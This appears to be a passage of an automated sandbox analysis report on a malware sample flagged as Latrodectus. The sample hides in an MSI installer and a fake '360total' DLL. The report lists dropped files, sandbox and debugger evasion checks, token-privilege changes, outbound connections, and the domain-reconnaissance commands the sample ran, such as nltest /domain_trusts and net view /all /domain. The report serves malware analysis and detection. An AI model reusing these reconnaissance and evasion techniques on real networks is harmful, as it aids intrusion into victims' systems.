Source:	Binary string: C:\vmagent_new\bin\joblist\574019\out\Release\360Util64.pdb source: rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800033E0 memset,memset,memset,memset,CreateFileW,GetFileInformationByHandle,ReadFile,ReadFile,CoTaskMemAlloc,ReadFile,CoTaskMemFree,SetFilePointer,ReadFile,SetFilePointer,ReadFile,SetFilePointer,??_U@YAPEAX_K@Z,ReadFile,??_U@YAPEAX_K@Z,ReadFile,??_U@YAPEAX_K@Z,ReadFile,??_U@YAPEAX_K@Z,ReadFile,PathRemoveFileSpecW,PathCombineW,PathRemoveFileSpecW,PathCombineW,free,??_U@YAPEAX_K@Z,ReadFile,ReadFile,SetFilePointer,ReadFile,ReadFile,ReadFile,ILFree,ReadFile,memset,GetSystemDirectoryW,LoadLibraryW,GetProcAddress,CoTaskMemFree,GetLastError,FreeLibrary,CloseHandle,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,SetLastError,

6_2_00000001800033E0

Source: Update_77697333.dll.6.dr	Static PE information: real checksum: 0xe14a2 should be: 0xe5e2c
Source: 360total.dll.1.dr	Static PE information: real checksum: 0xe14a2 should be: 0xe5e2c

Source: 360total.dll.1.dr	Static PE information: section name: yhDm^
Source: Update_77697333.dll.6.dr	Static PE information: section name: yhDm^

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4323C push ecx; ret	5_2_00B4324F
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180010451 push rcx; ret	6_2_0000000180010452
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001045A push rcx; ret	6_2_000000018001045B
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018017500F push rdx; iretd	6_2_0000000180175010

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSID8B1.tmp

Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID529.tmp	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: :wtfbbq (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\sharepoint\360total.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID4D9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID8B1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID69B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID719.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID509.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID4B9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID3EB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID498.tmp	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID8B1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID69B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID719.tmp	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180049AEC OpenSCManagerW,OpenServiceW,ChangeServiceConfigW,StartServiceW,GetTickCount,Sleep,GetTickCount,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,

6_2_0000000180049AEC

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180062148 memset,GetModuleFileNameW,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

6_2_0000000180062148

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\rundll32.exe

Code function: EnterCriticalSection,memset,GetModuleFileNameW,PathAppendW,StrStrIW,PathFileExistsW,PathAppendW,PathFileExistsW,memset,SHGetValueW,PathAppendW,PathFileExistsW,LoadLibraryW,GetProcAddress,GetProcAddress,GetModuleFileNameW,PathAppendW,PathFileExistsW,PathAppendW,PathFileExistsW,memset,SHGetValueW,PathAppendW,PathFileExistsW,LoadLibraryW,GetProcAddress,GetProcAddress,LeaveCriticalSection,

6_2_00000001800655A8

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180049AEC

6_2_0000000180049AEC

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	6_2_000001FB3AB768E8
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	6_2_000001FB3AB77FA8
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	7_2_0000024739A468E8
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	7_2_0000024739A47FA8
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_00000210FEA068E8
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_00000210FEA07FA8

Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 8237	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 816	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 946	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Dropped PE file which has not been started: :wtfbbq (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID529.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\sharepoint\360total.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID719.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID69B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID4D9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID509.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID4B9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID498.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID3EB.tmp	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll	Jump to dropped file

Source: C:\Windows\Installer\MSID8B1.tmp

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-33713

Source: C:\Windows\System32\rundll32.exe	API coverage: 1.6 %
Source: C:\Windows\System32\rundll32.exe	API coverage: 8.4 %

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180049AEC

6_2_0000000180049AEC

Source: C:\Windows\System32\rundll32.exe TID: 4112	Thread sleep count: 8237 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 4112	Thread sleep time: -8237000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 5248	Thread sleep count: 816 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 5248	Thread sleep time: -81600s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 4112	Thread sleep count: 946 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 4112	Thread sleep time: -946000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B5AF79 FindFirstFileExW,	5_2_00B5AF79
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	6_2_000001FB3AB7A350
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB71A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	6_2_000001FB3AB71A08
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	7_2_0000024739A4A350
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A41A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	7_2_0000024739A41A08
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_00000210FEA0A350
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA01A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_00000210FEA01A08

Source: rundll32.exe, 00000007.00000002.3239328472.0000024739A88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MWrod_VMware_SATA_CD00#4&224f42ef&
Source: rundll32.exe, 00000007.00000003.3200350559.0000024739B18000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3200350559.0000024739AEE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B18000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739AE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739A88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000007.00000002.3239728503.000002473BAB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No

Source: C:\Windows\System32\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\rundll32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B2D0A5 IsDebuggerPresent,OutputDebugStringW,

5_2_00B2D0A5

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180066C3C memset,GetLastError,IsDebuggerPresent,OutputDebugStringW,

6_2_0000000180066C3C

Source: C:\Windows\System32\rundll32.exe

6_2_00000001800033E0

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B52DCC mov ecx, dword ptr fs:[00000030h]		5_2_00B52DCC
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B5AD78 mov eax, dword ptr fs:[00000030h]		5_2_00B5AD78

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B22310 GetProcessHeap,

5_2_00B22310

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B433A8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00B433A8
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4353F SetUnhandledExceptionFilter,	5_2_00B4353F
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B42968 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00B42968
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B46E1B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00B46E1B
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180070760 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0000000180070760
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006F6E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000000018006F6E0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 104.21.46.75 443			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 172.67.219.28 443			Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B252F0 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetModuleHandleW,GetProcAddress,GetProcAddress,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,

5_2_00B252F0

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c systeminfo	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all /domain	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018004A650 memset,GetModuleFileNameW,PathAppendW,ShellExecuteExW,ILGetSize,GetTickCount,srand,GetCurrentProcess,GetProcessId,GetCurrentThreadId,rand,LocalAlloc,InitializeSecurityDescriptor,LocalFree,SetSecurityDescriptorDacl,CreateFileMappingW,LocalFree,CreateFileMappingW,MapViewOfFile,CloseHandle,memset,memmove,memmove,memmove,memmove,memmove,UnmapViewOfFile,FindWindowW,SetForegroundWindow,memset,wsprintfW,memset,WaitForSingleObject,Sleep,CloseHandle,CloseHandle,CloseHandle,

6_2_000000018004A650

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180049278 LookupPrivilegeValueW,LookupPrivilegeValueW,LookupPrivilegeValueW,LookupPrivilegeValueW,??_U@YAPEAX_K@Z,GetCurrentProcess,OpenProcessToken,CreateRestrictedToken,CloseHandle,CloseHandle,AllocateAndInitializeSid,GetLengthSid,SetTokenInformation,FreeSid,AdjustTokenPrivileges,??_V@YAXPEAX@Z,

6_2_0000000180049278

Source: 360total.dll.1.dr	Binary or memory string: Program managerProgmanSeShutdownPrivilegeSeTimeZonePrivilegeSeIncreaseWorkingSetPrivilegeSeUndockPrivilegeSeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeEnableLUASoftware\Microsoft\Windows\CurrentVersion\Policies\Systemseclogonwdc.dllWdcRunTaskAsInteractiveUser"%s" %swinsta0\defaultadvapi32.dllCreateProcessWithTokenW:open..\360DeskAna64.exe%u_%d_%d_%d_%use2/%s %s %use1SeTcbPrivilegeNT AUTHORITYLOCAL SERVICENETWORK SERVICE360utilexplorer.exe,
Source: rundll32.exe	Binary or memory string: Progman
Source: rundll32.exe	Binary or memory string: Program manager

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B435A9 cpuid

5_2_00B435A9

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: EnumSystemLocalesW,	5_2_00B5E0C6
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: EnumSystemLocalesW,	5_2_00B5E1AC
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: EnumSystemLocalesW,	5_2_00B57132
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: EnumSystemLocalesW,	5_2_00B5E111
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00B5E237
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoEx,	5_2_00B423F8
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoW,	5_2_00B5E48A
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00B5E5B3
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoW,	5_2_00B5E6B9
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetLocaleInfoW,	5_2_00B576AF
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00B5E788
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	5_2_00B5DE24

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B437D5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00B437D5

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000001FB3AB78AE0 GetUserNameA,wsprintfA,

6_2_000001FB3AB78AE0

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B57B1F GetTimeZoneInformation,

5_2_00B57B1F

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180040CB0 GetVersionExW,memset,SHGetValueW,atoi,GetVersion,GetModuleHandleW,GetProcAddress,

6_2_0000000180040CB0

Source: C:\Windows\System32\nltest.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: rundll32.exe	Binary or memory string: 360tray.exe
Source: rundll32.exe	Binary or memory string: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: rundll32.exe	Binary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe

Stealing of Sensitive Information

Yara detected Latrodectus

Source: Yara match	File source: 8.2.rundll32.exe.210fe9f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab70000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a10000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fea00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fe9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a10000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a40000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.24739a40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210fea00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3239594516.000002473B520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239003691.0000005536378000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2009341046.00000210FE9F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2918615287.000002473B890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2009386305.00000210FEA00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239304282.0000024739A40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.3072398215.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.3001961858.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2854188056.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1996565614.000001FB3AB60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3239248195.0000024739A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2624, type: MEMORYSTR

Remote Access Functionality

Yara detected Latrodectus

Source: Yara match	File source: 8.2.rundll32.exe.210fe9f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.1fb3ab70000.2.raw.unpack, type: UNPACKEDPE
